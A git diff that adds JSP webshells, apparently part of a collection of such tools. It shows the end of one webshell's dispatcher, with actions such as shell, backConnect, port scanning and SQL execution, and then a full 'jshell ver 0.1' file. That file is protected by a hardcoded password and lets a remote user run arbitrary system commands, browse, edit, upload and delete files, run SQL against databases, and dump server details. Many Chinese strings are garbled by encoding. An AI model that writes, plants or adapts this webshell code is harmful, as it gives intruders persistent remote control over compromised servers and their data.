PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
    "),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> \ No newline at end of file diff --git a/jsp/jspbrowser/2.jsp b/jsp/jspbrowser/2.jsp new file mode 100644 index 0000000..99a82b5 --- /dev/null +++ b/jsp/jspbrowser/2.jsp @@ -0,0 +1,1778 @@ +<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*"%> +<%@ page import="java.util.Map"%> +<%@ page import="java.util.HashMap"%> +<%@ page import="java.nio.charset.Charset"%> +<%@ page import="java.util.regex.*"%> +<%@ page import="java.sql.*"%> +<%! +private String _password = "ceshi2009"; +private String _encodeType = "GB2312"; +private int _sessionOutTime = 20; +private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; +private Connection _dbConnection = null; +private Statement _dbStatement = null; +private String _url = null; + +public boolean validate(String password) { + if (password.equals(_password)) { + return true; + } else { + return false; + } +} + +public String HTMLEncode(String str) { + str = str.replaceAll(" ", " "); + str = str.replaceAll("<", "<"); + str = str.replaceAll(">", ">"); + str = str.replaceAll("\r\n", "
    "); + + return str; +} + +public String Unicode2GB(String str) { + String sRet = null; + + try { + sRet = new String(str.getBytes("ISO8859_1"), _encodeType); + } catch (Exception e) { + sRet = str; + } + + return sRet; +} + +public String exeCmd(String cmd) { + Runtime runtime = Runtime.getRuntime(); + Process proc = null; + String retStr = ""; + InputStreamReader insReader = null; + char[] tmpBuffer = new char[1024]; + int nRet = 0; + + try { + proc = runtime.exec(cmd); + insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + + while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { + retStr += new String(tmpBuffer, 0, nRet); + } + + insReader.close(); + retStr = HTMLEncode(retStr); + } catch (Exception e) { + retStr = "bad command \"" + cmd + "\""; + } finally { + return retStr; + } +} + +public String pathConvert(String path) { + String sRet = path.replace('\\', '/'); + File file = new File(path); + + if (file.getParent() != null) { + if (file.isDirectory()) { + if (! sRet.endsWith("/")) + sRet += "/"; + } + } else { + if (! sRet.endsWith("/")) + sRet += "/"; + } + + return sRet; +} + +public String strCut(String str, int len) { + String sRet; + + len -= 3; + + if (str.getBytes().length <= len) { + sRet = str; + } else { + try { + sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; + } catch (Exception e) { + sRet = str; + } + } + + return sRet; +} + +public String listFiles(String path, String curUri) { + File[] files = null; + File curFile = null; + String sRet = null; + int n = 0; + boolean isRoot = path.equals(""); + + path = pathConvert(path); + + try { + if (isRoot) { + files = File.listRoots(); + } else { + try { + curFile = new File(path); + String[] sFiles = curFile.list(); + files = new File[sFiles.length]; + + for (n = 0; n < sFiles.length; n ++) { + files[n] = new File(path + sFiles[n]); + } + } catch (Exception e) { + sRet = "bad path \"" + path + "\""; + } + } + + if (sRet == null) { + sRet = "\n"; + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + + if (curFile != null) { + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + } + + sRet += "\n"; + + sRet += " \n"; + + for (n = 0; n < files.length; n ++) { + sRet += " \n"; + + if (! isRoot) { + sRet += " \n"; + if (files[n].isDirectory()) { + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + } + sRet += " \n"; + sRet += "
    \n"; + sRet += "  ϼĿ¼ "; + sRet += "Ŀ¼ "; + sRet += "½ļ "; + sRet += "ɾ "; + sRet += " "; + sRet += " "; + sRet += "ϴļ\n"; + sRet += " \n"; + sRet += "
    <" + strCut(files[n].getName(), 50) + ">" + strCut(files[n].getName(), 50) + "" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<edit>" : "") + "" + files[n].length() + "" + pathConvert(files[n].getPath()) + "
    \n"; + } + } catch (SecurityException e) { + sRet = "security violation, no privilege."; + } + + return sRet; +} + +public boolean isTextFile(String extName) { + int i; + boolean bRet = false; + + if (! extName.equals("")) { + for (i = 0; i < _textFileTypes.length; i ++) { + if (extName.equals(_textFileTypes[i])) { + bRet = true; + break; + } + } + } else { + bRet = true; + } + + return bRet; +} + +public String getExtName(String fileName) { + String sRet = ""; + int nLastDotPos; + + fileName = pathConvert(fileName); + + nLastDotPos = fileName.lastIndexOf("."); + + if (nLastDotPos == -1) { + sRet = ""; + } else { + sRet = fileName.substring(nLastDotPos + 1); + } + + return sRet; +} + +public String browseFile(String path) { + String sRet = ""; + File file = null; + FileReader fileReader = null; + + path = pathConvert(path); + + try { + file = new File(path); + fileReader = new FileReader(file); + String fileString = ""; + char[] chBuffer = new char[1024]; + int ret; + + sRet = "\n"; + + } catch (IOException e) { + sRet += "\n"; + } + + return sRet; +} + +public String openFile(String path, String curUri) { + String sRet = ""; + boolean canOpen = false; + int nLastDotPos = path.lastIndexOf("."); + String extName = ""; + String fileString = null; + File curFile = null; + + path = pathConvert(path); + + if (nLastDotPos == -1) { + canOpen = true; + } else { + extName = path.substring(nLastDotPos + 1); + canOpen = isTextFile(extName); + } + + if (canOpen) { + try { + fileString = ""; + curFile = new File(path); + FileReader fileReader = new FileReader(curFile); + char[] chBuffer = new char[1024]; + int nRet; + + while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { + fileString += new String(chBuffer, 0, nRet); + } + + fileReader.close(); + } catch (IOException e) { + fileString = null; + sRet = "ܴļ\"" + path + "\""; + } catch (SecurityException e) { + fileString = null; + sRet = "ȫ⣬ûȨִиò"; + } + } else { + sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; + } + + if (fileString != null) { + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += "
    [ϼĿ¼]
    \n"; + sRet += " \n"; + sRet += "
     
    \n"; + } + + return sRet; +} + +public String saveFile(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path); + + if (! file.canWrite()) { + sRet = "ļд"; + } else { + FileWriter fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + + fileWriter.close(); + sRet = "ļɹڷأԺ򡭡\n"; + sRet += "\n"; + } + } catch (IOException e) { + sRet = "ļʧ"; + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò"; + } + + return sRet; +} + +public String createFolder(String path, String curUri, String folderName) { + String sRet = ""; + File folder = null; + + path = pathConvert(path); + + try { + folder = new File(path + folderName); + + if (folder.exists() && folder.isDirectory()) { + sRet = "\"" + path + folderName + "\"Ŀ¼Ѿ"; + } else { + if (folder.mkdir()) { + sRet = "ɹĿ¼\"" + pathConvert(folder.getPath()) + "\"ڷأԺ򡭡\n"; + sRet += ""; + } else { + sRet = "Ŀ¼\"" + folderName + "\"ʧ"; + } + } + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò"; + } + + return sRet; +} + +public String createFile(String path, String curUri, String fileName) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path + fileName); + + if (file.createNewFile()) { + sRet = ""; + } else { + sRet = "\"" + path + fileName + "\"ļѾ"; + } + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò"; + } catch (IOException e) { + sRet = "ļ\"" + path + fileName + "\"ʧ"; + } + + return sRet; +} + +public String deleteFile(String path, String curUri, String[] files2Delete) { + String sRet = ""; + File tmpFile = null; + + try { + for (int i = 0; i < files2Delete.length; i ++) { + tmpFile = new File(files2Delete[i]); + if (! tmpFile.delete()) { + sRet += "ɾ\"" + files2Delete[i] + "\"ʧ
    \n"; + } + } + + if (sRet.equals("")) { + sRet = "ɾɹڷأԺ򡭡\n"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò\n"; + } + + return sRet; +} + +public String saveAs(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + FileWriter fileWriter = null; + + try { + file = new File(path); + + if (file.createNewFile()) { + fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + fileWriter.close(); + + sRet = ""; + } else { + sRet = "ļ\"" + path + "\"Ѿ"; + } + } catch (IOException e) { + sRet = "ļ\"" + path + "\"ʧ"; + } + + return sRet; +} + + +public String uploadFile(ServletRequest request, String path, String curUri) { + String sRet = ""; + File file = null; + InputStream in = null; + + path = pathConvert(path); + + try { + in = request.getInputStream(); + + byte[] inBytes = new byte[request.getContentLength()]; + int nBytes; + int start = 0; + int end = 0; + int size = 1024; + String token = null; + String filePath = null; + + // + // һֽ + // + while ((nBytes = in.read(inBytes, start, size)) != -1) { + start += nBytes; + } + + in.close(); + // + // ֽеõļָ + // + int i = 0; + byte[] seperator; + + while (inBytes[i] != 13) { + i ++; + } + + seperator = new byte[i]; + + for (i = 0; i < seperator.length; i ++) { + seperator[i] = inBytes[i]; + } + + // + // õHeader + // + String dataHeader = null; + i += 3; + start = i; + while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { + i ++; + } + end = i - 1; + dataHeader = new String(inBytes, start, end - start + 1); + + // + // õļ + // + token = "filename=\""; + start = dataHeader.indexOf(token) + token.length(); + token = "\""; + end = dataHeader.indexOf(token, start) - 1; + filePath = dataHeader.substring(start, end + 1); + filePath = pathConvert(filePath); + String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); + + // + // õļݿʼλ + // + i += 4; + start = i; + + /* + boolean found = true; + byte[] tmp = new byte[seperator.length]; + while (i <= inBytes.length - 1 - seperator.length) { + + for (int j = i; j < i + seperator.length; j ++) { + if (seperator[j - i] != inBytes[j]) { + found = false; + break; + } else + tmp[j - i] = inBytes[j]; + } + + if (found) + break; + + i ++; + }*/ + + // + // ͵İ취 + // + end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; + + // + // Ϊļ + // + File newFile = new File(path + fileName); + newFile.createNewFile(); + FileOutputStream out = new FileOutputStream(newFile); + + //out.write(inBytes, start, end - start + 1); + out.write(inBytes, start, end - start + 1); + out.close(); + + sRet = "\n"; + } catch (IOException e) { + sRet = "\n"; + } + + sRet += ""; + return sRet; +} + +public boolean fileCopy(String srcPath, String dstPath) { + boolean bRet = true; + + try { + FileInputStream in = new FileInputStream(new File(srcPath)); + FileOutputStream out = new FileOutputStream(new File(dstPath)); + byte[] buffer = new byte[1024]; + int nBytes; + + + while ((nBytes = in.read(buffer, 0, 1024)) != -1) { + out.write(buffer, 0, nBytes); + } + + in.close(); + out.close(); + } catch (IOException e) { + bRet = false; + } + + return bRet; +} + +public String getFileNameByPath(String path) { + String sRet = ""; + + path = pathConvert(path); + + if (path.lastIndexOf("/") != -1) { + sRet = path.substring(path.lastIndexOf("/") + 1); + } else { + sRet = path; + } + + return sRet; +} + +public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { + String sRet = ""; + int i; + + path = pathConvert(path); + dstPath = pathConvert(dstPath); + + for (i = 0; i < files2Copy.length; i ++) { + if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { + sRet += "ļ\"" + files2Copy[i] + "\"ʧ
    "; + } + } + + if (sRet.equals("")) { + sRet = "ļƳɹڷأԺ򡭡"; + sRet += ""; + } + + return sRet; +} + +public boolean isFileName(String fileName) { + boolean bRet = false; + + Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); + Matcher m = p.matcher(fileName); + + bRet = m.matches(); + + return bRet; +} + +public String renameFile(String path, String curUri, String file2Rename, String newName) { + String sRet = ""; + + path = pathConvert(path); + file2Rename = pathConvert(file2Rename); + + try { + File file = new File(file2Rename); + + newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; + File newFile = new File(newName); + + if (! file.exists()) { + sRet = "ļ\"" + file2Rename + "\""; + } else { + file.renameTo(newFile); + sRet = "ļɹڷأԺ򡭡"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "ȫ⵼ļ\"" + file2Rename + "\"ʧ"; + } + + return sRet; +} + +public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { + boolean bRet = true; + String driverName = ""; + + if (dbServer.equals("")) + dbServer = "localhost"; + + try { + if (dbType.equals("sqlserver")) { + driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; + if (dbPort.equals("")) + dbPort = "1433"; + _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("mysql")) { + driverName = "com.mysql.jdbc.Driver"; + if (dbPort.equals("")) + dbPort = "3306"; + _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("odbc")) { + driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; + _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; + } else if (dbType.equals("oracle")) { + driverName = "oracle.jdbc.driver.OracleDriver"; + _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; + } else if (dbType.equals("db2")) { + driverName = "com.ibm.db2.jdbc.app.DB2Driver"; + _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; + } + + Class.forName(driverName); + } catch (ClassNotFoundException e) { + bRet = false; + } + + return bRet; +} + +public boolean DBConnect(String User, String Password) { + boolean bRet = false; + + if (_url != null) { + try { + _dbConnection = DriverManager.getConnection(_url, User, Password); + _dbStatement = _dbConnection.createStatement(); + bRet = true; + } catch (SQLException e) { + bRet = false; + } + } + + return bRet; +} + +public String DBExecute(String sql) { + String sRet = ""; + + if (_dbConnection == null || _dbStatement == null) { + sRet = "ݿû"; + } else { + try { + if (sql.toLowerCase().substring(0, 6).equals("select")) { + ResultSet rs = _dbStatement.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + int colNum = rsmd.getColumnCount(); + int colType; + + sRet = "sqlִгɹؽ
    \n"; + sRet += "\n"; + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + sRet += " \n"; + } + sRet += " \n"; + while (rs.next()) { + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + colType = rsmd.getColumnType(i); + + sRet += " \n"; + } + sRet += " \n"; + } + sRet += "
    " + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")
    "; + switch (colType) { + case Types.BIGINT: + sRet += rs.getLong(i); + break; + + case Types.BIT: + sRet += rs.getBoolean(i); + break; + + case Types.BOOLEAN: + sRet += rs.getBoolean(i); + break; + + case Types.CHAR: + sRet += rs.getString(i); + break; + + case Types.DATE: + sRet += rs.getDate(i).toString(); + break; + + case Types.DECIMAL: + sRet += rs.getDouble(i); + break; + + case Types.NUMERIC: + sRet += rs.getDouble(i); + break; + + case Types.REAL: + sRet += rs.getDouble(i); + break; + + case Types.DOUBLE: + sRet += rs.getDouble(i); + break; + + case Types.FLOAT: + sRet += rs.getFloat(i); + break; + + case Types.INTEGER: + sRet += rs.getInt(i); + break; + + case Types.TINYINT: + sRet += rs.getShort(i); + break; + + case Types.VARCHAR: + sRet += rs.getString(i); + break; + + case Types.TIME: + sRet += rs.getTime(i).toString(); + break; + + case Types.DATALINK: + sRet += rs.getTimestamp(i).toString(); + break; + } + sRet += "
    \n"; + + rs.close(); + } else { + if (_dbStatement.execute(sql)) { + sRet = "sqlִгɹ"; + } else { + sRet = "sqlִʧ"; + } + } + } catch (SQLException e) { + sRet = "sqlִʧ"; + } + } + + return sRet; +} + +public void DBRelease() { + try { + if (_dbStatement != null) { + _dbStatement.close(); + _dbStatement = null; + } + + if (_dbConnection != null) { + _dbConnection.close(); + _dbConnection = null; + } + } catch (SQLException e) { + + } +} + +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class JshellConfig { + private String _jshellContent = null; + private String _path = null; + + public JshellConfig(String path) throws JshellConfigException { + _path = path; + read(); + } + + private void read() throws JshellConfigException { + try { + FileReader jshell = new FileReader(new File(_path)); + char[] buffer = new char[1024]; + int nChars; + _jshellContent = ""; + + while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { + _jshellContent += new String(buffer, 0, nChars); + } + + jshell.close(); + } catch (IOException e) { + throw new JshellConfigException("ļʧ"); + } + } + + public void save() throws JshellConfigException { + FileWriter jshell = null; + + try { + jshell = new FileWriter(new File(_path)); + char[] buffer = _jshellContent.toCharArray(); + int start = 0; + int size = 1024; + + for (start = 0; start < buffer.length - 1 - size; start += size) { + jshell.write(buffer, start, size); + } + + jshell.write(buffer, start, buffer.length - 1 - start); + } catch (IOException e) { + new JshellConfigException("дļʧ"); + } finally { + try { + jshell.close(); + } catch (IOException e) { + + } + } + } + + public void setPassword(String password) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = p.matcher(password); + + if (! m.matches()) { + throw new JshellConfigException("벻гĸ»ַ"); + } + + p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); + m = p.matcher(_jshellContent); + if (! m.find()) { + throw new JshellConfigException("ѾǷ޸"); + } + + _jshellContent = m.replaceAll("private String _password = \"" + password + "\""); + + //return HTMLEncode(_jshellContent); + } + + public void setEncodeType(String encodeType) throws JshellConfigException { + Pattern p = Pattern.compile("[A-Za-z0-9]+"); + Matcher m = p.matcher(encodeType); + + if (! m.matches()) { + throw new JshellConfigException("ʽֻĸֵ"); + } + + p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("ѾǷ޸"); + } + + _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); + //return HTMLEncode(_jshellContent); + } + + public void setSessionTime(String sessionTime) throws JshellConfigException { + Pattern p = Pattern.compile("\\d+"); + Matcher m = p.matcher(sessionTime); + + if (! m.matches()) { + throw new JshellConfigException("sessionʱʱֻ"); + } + + p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("ѾǷ޸"); + } + + _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); + //return HTMLEncode(_jshellContent); + } + + public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = null; + int i; + String fileTypes = ""; + String tmpFileTypes = ""; + + for (i = 0; i < textFileTypes.length; i ++) { + m = p.matcher(textFileTypes[i]); + + if (! m.matches()) { + throw new JshellConfigException("չֻĸֺ»ߵ"); + } + + if (i != textFileTypes.length - 1) + fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; + else + fileTypes += "\"" + textFileTypes[i] + "\""; + } + + for (i = 0; i < _textFileTypes.length; i ++) { + if (i != _textFileTypes.length - 1) + tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; + else + tmpFileTypes += "\"" + _textFileTypes[i] + "\""; + } + + p = Pattern.compile(tmpFileTypes); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("ļѾǷ޸"); + } + + _jshellContent = m.replaceAll(fileTypes); + + //return HTMLEncode(_jshellContent); + } + + public String getContent() { + return HTMLEncode(_jshellContent); + } +} + +class JshellConfigException extends Exception { + public JshellConfigException(String message) { + super(message); + } +} +%> + + +jshell ver 0.1 + + + + +<% +session.setMaxInactiveInterval(_sessionOutTime * 60); + +if (request.getParameter("password") == null && session.getAttribute("password") == null) { +// show the login form +//================================================================================================ +%> + + + + + + + + + + +
    + + +
    +<% +//================================================================================================ +// end of the login form +} else { + String password = null; + + if (session.getAttribute("password") == null) { + password = (String)request.getParameter("password"); + + if (validate(password) == false) { + out.println("
  • !
  • "); + out.close(); + return; + } + + session.setAttribute("password", password); + } else { + password = (String)session.getAttribute("password"); + } + + String action = null; + + if (request.getParameter("action") == null) + action = "main"; + else + action = (String)request.getParameter("action"); + + if (action.equals("exit")) { + session.removeAttribute("password"); + response.sendRedirect(request.getRequestURI()); + out.close(); + return; + } + +// show the main menu +//==================================================================================== +%> + + + + + + + +
    + + +
    +<% +//===================================================================================== +// end of main menu + + if (action.equals("main")) { +// print the system info table +//======================================================================================= +%> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Ϣ
    <%=request.getServerName()%>
    ˿<%=request.getServerPort()%>
    ϵͳ<%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%>
    ǰû<%=System.getProperty("user.name")%>
    ǰûĿ¼<%=System.getProperty("user.home")%>
    ǰûĿ¼<%=System.getProperty("user.dir")%>
    ·<%=request.getRequestURI()%>
    ·<%=request.getRealPath(request.getServletPath())%>
    Э<%=request.getProtocol()%>
    汾Ϣ<%=application.getServerInfo()%>
    JDK汾<%=System.getProperty("java.version")%>
    JDKװ·<%=System.getProperty("java.home")%>
    JAVA汾<%=System.getProperty("java.vm.specification.version")%>
    JAVA<%=System.getProperty("java.vm.name")%>
    JAVA·<%=System.getProperty("java.class.path")%>
    JAVA·<%=System.getProperty("java.library.path")%>
    JAVAʱĿ¼<%=System.getProperty("java.io.tmpdir")%>
    JIT<%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%>
    չĿ¼·<%=System.getProperty("java.ext.dirs")%>
    ͻϢ
    ͻַ<%=request.getRemoteAddr()%>
    <%=request.getRemoteHost()%>
    û<%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%>
    ʽ<%=request.getScheme()%>
    Ӧðȫ׽ֲ<%=request.isSecure() == true ? "" : ""%>
    +<% +//======================================================================================= +// end of printing the system info table +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("filesystem")) { + String curPath = ""; + String result = ""; + String fsAction = ""; + + if (request.getParameter("curPath") == null) { + curPath = request.getRealPath(request.getServletPath()); + curPath = pathConvert((new File(curPath)).getParent()); + } else { + curPath = Unicode2GB((String)request.getParameter("curPath")); + } + + if (request.getParameter("fsAction") == null) { + fsAction = "list"; + } else { + fsAction = (String)request.getParameter("fsAction"); + } + + if (fsAction.equals("list")) + result = listFiles(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("browse")) { + result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); + result += browseFile(curPath); + } + else if (fsAction.equals("open")) + result = openFile(curPath, request.getRequestURI() + "?action=" + action); + else if (fsAction.equals("save")) { + if (request.getParameter("fileContent") == null) { + result = "ҳ浼"; + } else { + String fileContent = Unicode2GB((String)request.getParameter("fileContent")); + result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("createFolder")) { + if (request.getParameter("folderName") == null) { + result = "Ŀ¼Ϊ"; + } else { + String folderName = Unicode2GB(request.getParameter("folderName").trim()); + if (folderName.equals("")) { + result = "Ŀ¼Ϊ"; + } else { + result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); + } + } + } else if (fsAction.equals("createFile")) { + if (request.getParameter("fileName") == null) { + result = "ļΪ"; + } else { + String fileName = Unicode2GB(request.getParameter("fileName").trim()); + if (fileName.equals("")) { + result = "ļΪ"; + } else { + result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); + } + } + } else if (fsAction.equals("deleteFile")) { + if (request.getParameter("filesDelete") == null) { + result = "ûѡҪɾļ"; + } else { + String[] files2Delete = (String[])request.getParameterValues("filesDelete"); + if (files2Delete.length == 0) { + result = "ûѡҪɾļ"; + } else { + for (int n = 0; n < files2Delete.length; n ++) { + files2Delete[n] = Unicode2GB(files2Delete[n]); + } + result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); + } + } + } else if (fsAction.equals("saveAs")) { + if (request.getParameter("fileContent") == null) { + result = "ҳ浼"; + } else { + String fileContent = Unicode2GB(request.getParameter("fileContent")); + result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); + } + } else if (fsAction.equals("upload")) { + result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); + } else if (fsAction.equals("copyto")) { + if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { + result = "ûѡҪƵļ"; + } else { + String[] files2Copy = request.getParameterValues("filesDelete"); + String dstPath = request.getParameter("dstPath").trim(); + if (files2Copy.length == 0) { + result = "ûѡҪƵļ"; + } else if (dstPath.equals("")) { + result = "ûдҪƵĿ¼·"; + } else { + for (int i = 0; i < files2Copy.length; i ++) + files2Copy[i] = Unicode2GB(files2Copy[i]); + + result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); + } + } + } else if (fsAction.equals("rename")) { + if (request.getParameter("fileRename") == null) { + result = "ҳ浼"; + } else { + String file2Rename = request.getParameter("fileRename").trim(); + String newName = request.getParameter("newName").trim(); + if (file2Rename.equals("")) { + result = "ûѡҪļ"; + } else if (newName.equals("")) { + result = "ûдļ"; + } else { + result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); + } + } + } +%> + + + + + + + + + +
    ַ +
    <%= result.trim().equals("")?" " : result%>
    +<% +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("command")) { + String cmd = ""; + InputStream ins = null; + String result = ""; + + if (request.getParameter("command") != null) { + cmd = (String)request.getParameter("command"); + result = exeCmd(cmd); + } +// print the command form +//======================================================================================== +%> + + + + + + + + + + + + +
    ִ
    + + +
    ִн
    + + + + +
    <%=result == "" ? " " : result%>
    +<% +//========================================================================================= +// end of printing command form +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + } else if (action.equals("database")) { + String dbAction = ""; + String result = ""; + String dbType = ""; + String dbServer = ""; + String dbPort = ""; + String dbUsername = ""; + String dbPassword = ""; + String dbName = ""; + String dbResult = ""; + String sql = ""; + + if (request.getParameter("dbAction") == null) { + dbAction = "main"; + } else { + dbAction = request.getParameter("dbAction").trim(); + if (dbAction.equals("")) + dbAction = "main"; + } + + if (dbAction.equals("main")) { + result = " "; + } else if (dbAction.equals("dbConnect")) { + if (request.getParameter("dbType") == null || + request.getParameter("dbServer") == null || + request.getParameter("dbPort") == null || + request.getParameter("dbUsername") == null || + request.getParameter("dbPassword") == null || + request.getParameter("dbName") == null) { + response.sendRedirect(request.getRequestURI() + "?action=" + action); + } else { + dbType = request.getParameter("dbType").trim(); + dbServer = request.getParameter("dbServer").trim(); + dbPort = request.getParameter("dbPort").trim(); + dbUsername = request.getParameter("dbUsername").trim(); + dbPassword = request.getParameter("dbPassword").trim(); + dbName = request.getParameter("dbName").trim(); + + if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { + if (DBConnect(dbUsername, dbPassword)) { + if (request.getParameter("sql") != null) { + sql = request.getParameter("sql").trim(); + if (! sql.equals("")) { + dbResult = DBExecute(sql); + } + } + + result = "\n"; + result += "sql

